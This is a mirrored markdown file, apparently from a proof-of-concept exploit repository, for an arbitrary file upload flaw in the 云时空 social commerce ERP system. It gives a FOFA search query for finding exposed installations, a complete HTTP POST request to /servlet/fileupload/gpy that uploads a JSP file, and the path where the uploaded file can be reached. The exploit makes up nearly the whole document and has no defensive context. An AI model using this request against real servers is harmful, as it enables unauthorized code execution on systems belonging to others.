mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
33 lines
1.1 KiB
Markdown
33 lines
1.1 KiB
Markdown
|
|
## 云时空社会化商业ERP任意文件上传
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
app="云时空社会化商业ERP系统"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
POST /servlet/fileupload/gpy HTTP/1.1
|
||
|
|
Host: ip:8090
|
||
|
|
Cache-Control: max-age=0
|
||
|
|
Upgrade-Insecure-Requests: 1
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
|
||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||
|
|
Accept-Encoding: gzip, deflate, br
|
||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
||
|
|
Connection: close
|
||
|
|
Content-Type: multipart/form-data; boundary=4eea98d02AEa93f60ea08dE3C18A1388
|
||
|
|
Content-Length: 220
|
||
|
|
|
||
|
|
--4eea98d02AEa93f60ea08dE3C18A1388
|
||
|
|
Content-Disposition: form-data; name="file"; filename="random_str.jsp"
|
||
|
|
Content-Type: application/octet-stream
|
||
|
|
|
||
|
|
<% out.println("random_str"); %>
|
||
|
|
--4eea98d02AEa93f60ea08dE3C18A1388--
|
||
|
|
```
|
||
|
|

|
||
|
|
|
||
|
|
访问上传文件
|
||
|
|
/uploads/pics/2023-12-9/random_str.jsp
|